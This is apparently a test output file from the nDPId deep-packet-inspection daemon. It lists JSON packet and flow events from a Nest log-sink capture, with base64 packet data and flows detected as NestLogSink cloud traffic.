+00423{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":781,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718202,"pkt_ts_usec":984094,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsMJsAAP8GGgLAqPIPI7yauvd3K1cJJajVAAAAAGACEgBBYgAAAgQEgAAA"} +00422{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":782,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718203,"pkt_ts_usec":39605,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAADcG0p0jvJq6wKjyDytX93fElurmCSWo1mASbvAz1wAAAgQFjA=="} +00422{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":783,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718203,"pkt_ts_usec":42198,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMJwAAP8GGgXAqPIPI7yauvd3K1cJJajWxJbq51AQEgCoXAAAAAAAAAAA"} +01131{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":784,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718203,"pkt_ts_usec":679805,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"AJD7JidrGLQwJjRACABFAAI6MJ0AAP8GF\/LAqPIPI7yauvd3K1cJJajWxJbq51AYEgAvvAAAEAIAExoDAAA2nicAADC0GAQAAAACMLQYEQqxBgQAAACBAAA5+ABtAAEAWiMlAFojySgEAm20uWdEBypX2nzjFfu0K1sxRztQQZWihV0x9XfxkDy1TN+5HtrGDo74tUYHn1y3jqh\/RlolHqKVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARwbj3VHT8WbUfgymXtIaRgjbqw9iCnIxXmYSbjlMAIcL\/XCthdFIlRN+y+17FdvH50q2ptFXnU7d8EAuRg="} +00415{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":785,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718203,"pkt_ts_usec":738206,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAodN5AADcGXcMjvJq6wKjyDytX93fElurnCSWq6FAQcRBHOgAA"} +01336{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":786,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718203,"pkt_ts_usec":746505,"pkt_caplen":733,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":733,"pkt_l4_len":699,"pkt":"GLQwJjRAAJD7JidrCABFAALPdN9AADcGWxsjvJq6wKjyDytX93fElurnCSWq6FAYcRAtCAAApQIAE5aex7wEAAAAAjC0GDaeJwAAMLQYEAuxBgQAAACAOewBAAAE+rolzy+PcOFALB3XOjE\/1avQJZsiItI5DiyJBVIPcZITtPZ2XrnN0E3MfjNOspBvZsP5MHI\/arLVAAAEAAcANQEwAQgMb9c+DCmBkiQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSBAAAAAIwtBgYJAcCJgglAFojMAo5BOmClNa2L\/0sqyhn7IYa235P1xw1ad7owBLnP8rLfG3TPA0dBMXfrzKvqAFyJ47sRlQQr3qOkdAiNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIIT2JdLEIid9IYNYAwAghAMCqAESxXYxg1DDABHQD2qSsI\/n0hou9Llf5n3GEbVWuc4D0QHq+l2F+wMAIcbFFqzYrI2WIn6D35aDg1LAuu7NZYbZZk\/HdXyxgYNwPVAAAEAAEAMAEIdFPE8yV1wKQkAgQ3AycTAQAAAO4wtBgYJgSEShYaJgWECPtJNwYnEwMAAADuMLQYGCQHAiYIJQBaIzAKOQRhOKp73vZWzVBkzcIvC7VHSn7kjE4w+wzb4SgMSIJb6yR4pk2B0279JwA\/5iu\/0TQlBvq00DFAwzWDKQEpAhg1gikBJAJgGDWBMAIIQDAqgBEsV2MYNYAwAghDNPcS31+Rzxg1DDABHBLqxXlajT9KXWeBN+P8uG5pHU6a1vmo\/i33mMIwAh0AjB981V9gPTa1niPXvZ7CDdMfpHD9c+6sh9daGBgYGBjVAAAEAAgAMAEdAKQ+FOL4Hy\/vAFY0N\/6Fb4IhwL51Reme7+2nNLcwAh0AxpKlk4REdfygt4LErdP64Xw0tzVxuYpvsCsKrhg00tOd8tGpjSpFtyy2jPZ48AQk5g=="} +00423{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":787,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718203,"pkt_ts_usec":812275,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMJ4AAP8GGgPAqPIPI7yauvd3K1cJJaroxJbtjlAQD1mmSgAAAAAAAAAA"} +00489{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":788,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718205,"pkt_ts_usec":132060,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcMJ8AAP8GGc7AqPIPI7yauvd3K1cJJaroxJbtjlAYD1k4qAAAMgAAExsDAAA2nicAADC0GAQAAAACMLQYEQyxBgQAAABDvk7v9shaoRVwWNA7hKpxzM+I7w=="} +00543{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":788,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":8,"flow_first_seen":1536718202984,"flow_last_seen":1536718205132,"flow_tot_l4_data_len":1429,"flow_min_l4_data_len":20,"flow_max_l4_data_len":699,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63351,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink.Google","breed":"Unrated","category":"Cloud"}} +00415{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":789,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718205,"pkt_ts_usec":230507,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAodOBAADcGXcEjvJq6wKjyDytX93fElu2OCSWrHFAQcRBEXwAA"} +00515{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":790,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718205,"pkt_ts_usec":232926,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"AJD7JidrGLQwJjRACABFAABuMKAAAP8GGbvAqPIPI7yauvd3K1cJJascxJbtjlAYD1lm9wAARAAQEwAAAAA2nicAADC0GAQAAAACMLQYyShOOcoezN7Yf362RQ73eqRmWfIt67XrBhmJNXUpK3Pc3PMt98c6L1fTQX8u\/w=="} +00416{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":791,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718205,"pkt_ts_usec":292870,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAodOFAADcGXcAjvJq6wKjyDytX93fElu2OCSWrYlAQcRBEGQAA"} +00494{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":792,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718205,"pkt_ts_usec":292904,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"GLQwJjRAAJD7JidrCABFAABhdOJAADcGXYYjvJq6wKjyDytX93fElu2OCSWrYlAYcRAOqwAANwAQEwAAAAAEAAAAAjC0GDaeJwAAMLQYyShARnnNymeUp9e7po6EJfQZYe7ME3Q+GlEnes1SI7V0"} +01038{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":793,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718205,"pkt_ts_usec":306592,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvMKEAAP8GGDnAqPIPI7yauvd3K1cJJatixJbtx1AYDyCARAAAxQEQEwEAAAA2nicAADC0GAQAAAACMLQYySim\/6WfDHyGhiYdkOdlffoUo+Ifpc1p5N2K5+L8oe31Ch6pwdfuUuAwXADSEGtH0AWRKDzXHJQUXtIfsfhk\/dOO\/P8MfUa7yj+4duxp+HzQRSQnbUKMWWJTc68VzUG6DtxH9F3a7neZ8jZnPvu9v9V1OYIY3\/pSKATwhNAM3o+tNJoWdA8sclQpsC0+nbA+qKxcY5GthBmQHi9wYGQrY1tkU2N7BSpvRLFFZENSy63DS1B+qeHaGLGpOK+KZAi1qFlF0DLrBmvYreuNJRrzWcJQmbaN+WhJrborLuntUQxFr99USFjOoG\/iLho1cuo4ncOqXf+Ihdd0TdjoHYMFa0a\/\/AGIWn0rBCW+ZL0L7xEUMnVdQ6O9MHcKTEAaYb7uqDneE6O6V\/yotDZzUKxTW5U4Vxzxa8N4O266kptCnUs0N+\/JeA25LOJkeHazeWdVfb+L5SvW7Xb9VtbwJIgILLYtSP6OIl2f8UpZvj4YXvA8Ucky4GpNjZOFWBrbL10SmY\/txKHJH7bgZUP7HA+gDvUAe4\/PZOW3M81k8M75cZYOAyQHtjCbTkP5EXMfwXQ="} +00496{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":794,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718205,"pkt_ts_usec":359195,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"GLQwJjRAAJD7JidrCABFAABfdONAADcGXYcjvJq6wKjyDytX93fElu3HCSWtKVAYdUBzegAANQAQEwEAAAAEAAAAAjC0GDaeJwAAMLQYySigtyBx\/khTQjemURb\/Qs+w7XQP60GdxNpwF6Jvbg=="} +01038{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":795,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718205,"pkt_ts_usec":372654,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvMKIAAP8GGDjAqPIPI7yauvd3K1cJJa0pxJbt\/lAYDumVYQAAxQEQEwIAAAA2nicAADC0GAQAAAACMLQYySj2gOCU5OUe+hKIMqISfhEJUZTxcbRhi4Zjm1PMuTVRzBWgvxlv2kfHKDUXJqiAwSDszOCybiev996mpGlBr3j\/r6gkAXuuRTyK3GpQ0CWUcjk39\/UuNA8irC7ymwxtoIQR\/cEFeqZ9O4aMCKICY1hdU\/5p43y20AHxz8j0FZIBv3+wStJEGGAsh4rj0GpPc68V0HumhHqgdtBuLt7rMBKtOPn2\/Gw+M7o2ZPrvmOOmOmzogsyIUXeYyJQyQG2t8CgmTtOPP\/f7L3n8a9ulfVGBKMeiSf5CODdfiOrUGeloOWvjNLTHHsWwkGkEjIMEdNH06bog7hPXHOfxzQMBSxFnlLeaHgxvGX\/4Jo2iAnujkr7sBUWsbdpFQYhUIQ7MYT2sOFCheIiTAtuxz0jw9WCvA\/OnIhfzPXVEKc1zrQH6raizlc401D7XypPqQaAVqtGHQkteOcH2kSWTL8vmESxsXgKLwvkaYdy\/gF3RwED9N\/vMPX9AYIgnJeGGLpe0Xd3nH+TZovEmMCiLrOy95303Un1qCc9z9hOU7WdW9ULp75W6KJaBtsv742zp12g="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":834,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1536718206572,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63352,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":834,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718206,"pkt_ts_usec":572751,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsMLcAAP8GYcHAqPIPI65S7fd4K1cJMSXhAAAAAGACEgAMJQAAAgQEgAAA"} +00423{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":836,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718206,"pkt_ts_usec":638073,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAAC0GJHkjrlLtwKjyDytX93jm8XvxCTEl4mASaQNQ+QAAAgQFtA=="} +00424{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":837,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718206,"pkt_ts_usec":640512,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMLgAAP8GYcTAqPIPI65S7fd4K1cJMSXi5vF78lAQEgC\/uQAAAAAAAAAA"} +01136{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":838,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718207,"pkt_ts_usec":278052,"pkt_caplen":586,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":586,"pkt_l4_len":552,"pkt":"AJD7JidrGLQwJjRACABFAAI8MLkAAP8GX6\/AqPIPI65S7fd4K1cJMSXi5vF78lAYEgClVwAAEgIAExwDAAA2nicAADC0GAMAAAACMLQYEQq0BgQAAACBAAA5+ABtAAEAWiMlAFoj\/SgEKMFgOzjFAh2bh\/+MYHUU4BopBLCfWX8Y6psPgM4bRtkKZmsD1xhimK8uxopO+FeZ2babDK3JimOVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwAR0Akak\/+AWH18YGRw9lz94nM4pXoxLRu1AjxRwmojACHQC3kxLByOkWUHoVXcemERLIQ7+TSpCStfrsxdOGGA=="} +00415{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":839,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718207,"pkt_ts_usec":347887,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAofmlAAC0GphMjrlLtwKjyDytX93jm8XvyCTEn9lAQbOBixQAA"} +01330{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":840,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718207,"pkt_ts_usec":366595,"pkt_caplen":730,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":730,"pkt_l4_len":696,"pkt":"GLQwJjRAAJD7JidrCABFAALMfmpAAC0Go24jrlLtwKjyDytX93jm8XvyCTEn9lAYbOBedgAAogIAExwDAAADAAAAAjC0GDaeJwAAMLQYEAu0BgQAAACAOesBAAAEthqMnfUW\/DsSs2ZBrb5xyiDiJGp7OlnGvp5CN1Zk7qIg+9BHv3maqK+Z7juxIrD5FSIgTY9b08vVAAAEAAcANQEwAQgRAGNdWXuZjyQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSAwAAAAIwtBgYJAcCJgglAFojMAo5BAmqnD2bjDiK3yLVcr2LQ\/iPmlWn\/iDHinq\/pRMoxaNQgTnwimtBL+qTiTQqENL2xrPIWxZjJGeRNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIISKnh4YvR26oYNYAwAghAMCqAESxXYxg1DDABHG7LEaIGSLUc\/M2D6faSCjZ4yyUajbt6l0larAowAhxg27mtYz94ldNAgb53O7UEnNbhJ3tZG9saSNIDGBg3A9UAAAQAAQAwAQh0U8TzJXXApCQCBDcDJxMBAAAA7jC0GBgmBIRKFhomBYQI+0k3BicTAwAAAO4wtBgYJAcCJgglAFojMAo5BGE4qnve9lbNUGTNwi8LtUdKfuSMTjD7DNvhKAxIglvrJHimTYHTbv0nAD\/mK7\/RNCUG+rTQMUDDNYMpASkCGDWCKQEkAmAYNYEwAghAMCqAESxXYxg1gDACCEM09xLfX5HPGDUMMAEcEurFeVqNP0pdZ4E34\/y4bmkdTprW+aj+LfeYwjACHQCMH3zVX2A9NrWeI9e9nsIN0x+kcP1z7qyH11oYGBgYGNUAAAQACAAwARwOKIaMj7AHHn28W7z1jBVQ5g8J6wcPUn3xdyV1MAIcTtSVXVMH9m+orRYlA0qN3K+rWiK1Cks0qUhJoRhvSZGUsTdXepfzXubz3x9z0QtdSQ=="} +00423{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":841,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718207,"pkt_ts_usec":571431,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMLoAAP8GYcLAqPIPI65S7fd4K1cJMSf25vF+llAQD1y9pQAAAAAAAAAA"} +00489{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718208,"pkt_ts_usec":745973,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcMLsAAP8GYY3AqPIPI65S7fd4K1cJMSf25vF+llAYD1x4sQAAMgAAEx0DAAA2nicAADC0GAMAAAACMLQYEQy0BgQAAABlWaDYahuGtY52hurUSkcTEusmsg=="} +00538{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":844,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":8,"flow_first_seen":1536718206572,"flow_last_seen":1536718208745,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":20,"flow_max_l4_data_len":696,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63352,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink","breed":"Acceptable","category":"Cloud"}} +00415{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":845,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718208,"pkt_ts_usec":848594,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAofmtAAC0GphEjrlLtwKjyDytX93jm8X6WCTEoKlAQbOBf7QAA"} +00968{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":846,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718208,"pkt_ts_usec":855080,"pkt_caplen":458,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":458,"pkt_l4_len":424,"pkt":"AJD7JidrGLQwJjRACABFAAG8MLwAAP8GYCzAqPIPI65S7fd4K1cJMSgq5vF+llAYD1z7twAAkgEQEwAAAAA2nicAADC0GAMAAAACMLQY\/SjPGHtbzrmVM3CVhl+AppxaSp4IrDY\/GViBbkMEJhqQi8AE0eg3eSbmcZPne0bFQhcqnByR+n04bi1lhrXkktb2NfS\/5PP5eaYkIBZgm25qW5Fp1Ga\/VMqueGOabuvOeRpP9j+DYO8IGwYUUiVZ\/mwQgWjhAhnZsCm43UT224dGVvQTHKYTceZvqCK9BTKHTZ3l9FsXAjz6X1rM\/edH0f+Flw5iTkPqNuuBlfRgfj1KChJ4EUU40PGFsSsjNeQJRsPIsXg4acNpxv2OYIr1vrlm12zi9UhmPcznwojHO5tN0p++Neoe38ZDERKeC2xQkcqqE1lcieViJKkkqzkIIL+xhBD5GAwIng\/SPG0k1AVubK87SVJYDpHSw9HpudAp8VxQ7xl9oMtQLuGp2\/cetjEH0kX4LW+O4RVqmaS+hWJotP\/MEyr5ufVnhtVjGGAmKTFYw58T4oJGDFW1CAj03lrYcvS4yYYyXbhBUuct5Hh55XYizPwZ3DITyTk="} +00416{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":847,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718208,"pkt_ts_usec":920795,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAofmxAAC0GphAjrlLtwKjyDytX93jm8X6WCTEpvlAQcRBaKQAA"} +00500{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718208,"pkt_ts_usec":938771,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"GLQwJjRAAJD7JidrCABFAABkfm1AAC0GpdMjrlLtwKjyDytX93jm8X6WCTEpvlAYcRCV2wAAOgAQEwAAAAADAAAAAjC0GDaeJwAAMLQY\/SghadNQO0yhx4tpwAzXo\/koCLQpE3p9+ZW5C3ptO7h0WDoo"} +00585{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":849,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718208,"pkt_ts_usec":945900,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"AJD7JidrGLQwJjRACABFAACiML0AAP8GYUXAqPIPI65S7fd4K1cJMSm+5vF+0lAYDyCI4wAAeAAQEwEAAAA2nicAADC0GAMAAAACMLQY\/ShK0JLmziBERUFnGG0cwYT5bCaOFhPKR4uycJ3vJGk8vwstkOwQb+MkapwZeHB+v5UdsgTG+DBzLtOB3L0zWSOlSNeHiCGqolQAqCBhm9+\/qzANLhbJTQB3xKp7uCIvees="} +01271{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":850,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718209,"pkt_ts_usec":9058,"pkt_caplen":683,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":683,"pkt_l4_len":649,"pkt":"GLQwJjRAAJD7JidrCABFAAKdfm5AAC0Go5kjrlLtwKjyDytX93jm8X7SCTEqOFAYcRDrOwAAcwIQEwEAAAADAAAAAjC0GDaeJwAAMLQY\/SjG21LhIa72I6MxufV\/e+zFbjYn88L8VGuYMHImo+YXoCEKyg6eNPc7YLFfCOr7EkERSelfsamWTS8cpNlR9e535EZICJFdTAKOg+iFKvvWn2lh7aCf3lssBRd33BwbB\/LDe\/r6hddy\/LsL7EafeDSLZCOkNRuZHVZTrU7itNxYetrUTLEDENkX5nzBmvGOiCPoqLZYBSNFAK5X1mXN3g7RSAi7jkcwe2roMoBnbzsqKFlpJDYBXTFmRv5xqfVSKoqbJj2BmjjLMujD7tk57ByiU8gMMayXLRlM+QNAHfjYGbrq\/SOiCBe0hVJ7t6oQv3nFBVFdI5tpEAGT1sDRlxdKzvLH3WoHN5Z8q9mO3bE40B7I0uFYzdg8c8ZU5AWoGkscU9eTIREJf\/Z0ESij5+8DxKftH8mOVjV7dVF1b\/LHUAkAezZFXcV7u3sjB73rzGT3C59IxWsbstKMlWXOpOHLNJh64m3\/iItTzAQK\/4qBPdQ6t4QQo+k5BsZtzSr4sR5oZggAQ\/Ylmg7w+QjP6ZR2jFjL9jPYGCB7JmE5EkDqZiDU9nF6kPWvgz4cAmBIk6JEsibjOWig9J9YRd2e2CP0+6ecPeQqmITCbUlz1K7iIXr1hsOFYS2WrpXt1kNCSifLiO\/ua97ANFXwkWpWEpYh72yDpqyOwdPCFq24QsBytqt5Kzl3AkU9YBl3J\/wtEUsDN\/uyS107Nq1NiFSoq23YH9na5iDWP5QEIvGGOgkri2FfatYHj6cijvbN3un7F7jDO3MLYNEQ2JXIv8MrcUtMB9eQRZIXohzlvDY="} 